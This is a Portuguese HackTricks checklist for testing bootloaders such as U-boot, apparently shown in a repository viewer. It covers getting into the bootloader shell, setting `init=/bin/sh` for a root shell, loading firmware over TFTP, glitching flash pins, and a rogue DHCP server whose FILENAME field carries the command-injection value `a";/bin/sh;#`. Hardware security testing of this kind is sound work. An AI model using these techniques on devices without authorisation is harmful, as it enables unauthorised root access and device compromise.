hacktricks/physical-attacks/firmware-analysis/bootloader-testing.md

28 lines
2.3 KiB
Markdown
Raw Normal View History

2023-06-06 18:56:34 +00:00
Ao modificar o início do dispositivo e os bootloaders, como o U-boot, tente o seguinte:
2022-05-01 16:32:23 +00:00
2023-06-06 18:56:34 +00:00
* Tente acessar o shell do interpretador do bootloader pressionando "0", espaço ou outros "códigos mágicos" identificados durante a inicialização.
* Modifique as configurações para executar um comando shell, como adicionar '`init=/bin/sh`' no final dos argumentos de inicialização
2022-02-23 15:32:10 +00:00
* `#printenv`
2022-07-18 14:21:06 +00:00
* `#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh`
2022-02-23 15:32:10 +00:00
* `#saveenv`
* `#boot`
2023-06-06 18:56:34 +00:00
* Configure um servidor tftp para carregar imagens pela rede localmente a partir do seu workstation. Certifique-se de que o dispositivo tenha acesso à rede.
* `#setenv ipaddr 192.168.2.2 #IP local do dispositivo`
* `#setenv serverip 192.168.2.1 #IP do servidor tftp`
2022-02-23 15:32:10 +00:00
* `#saveenv`
* `#reset`
2023-06-06 18:56:34 +00:00
* `#ping 192.168.2.1 #verifique se o acesso à rede está disponível`
* `#tftp ${loadaddr} uImage-3.6.35 #loadaddr leva dois argumentos: o endereço para carregar o arquivo e o nome do arquivo da imagem no servidor TFTP`
* Use `ubootwrite.py` para gravar a imagem do uboot e enviar um firmware modificado para obter acesso root
* Verifique se há recursos de depuração habilitados, como:
* registro detalhado
* carregamento de kernels arbitrários
* inicialização de fontes não confiáveis
* \*Tenha cuidado: conecte um pino ao solo, observe a sequência de inicialização do dispositivo, antes que o kernel seja descompactado, conecte o pino aterrado a um pino de dados (DO) em um chip flash SPI
* \*Tenha cuidado: conecte um pino ao solo, observe a sequência de inicialização do dispositivo, antes que o kernel seja descompactado, conecte o pino aterrado aos pinos 8 e 9 do chip flash NAND no momento em que o U-boot descompacta a imagem UBI
* \*Revise a folha de dados do chip flash NAND antes de curto-circuitar os pinos
* Configure um servidor DHCP falso com parâmetros maliciosos como entrada para um dispositivo ingerir durante uma inicialização PXE
* Use o servidor auxiliar DHCP do Metasploit (MSF) e modifique o parâmetro '`FILENAME`' com comandos de injeção de comando, como `a";/bin/sh;#` para testar a validação de entrada para procedimentos de inicialização do dispositivo.
\*Teste de segurança de hardware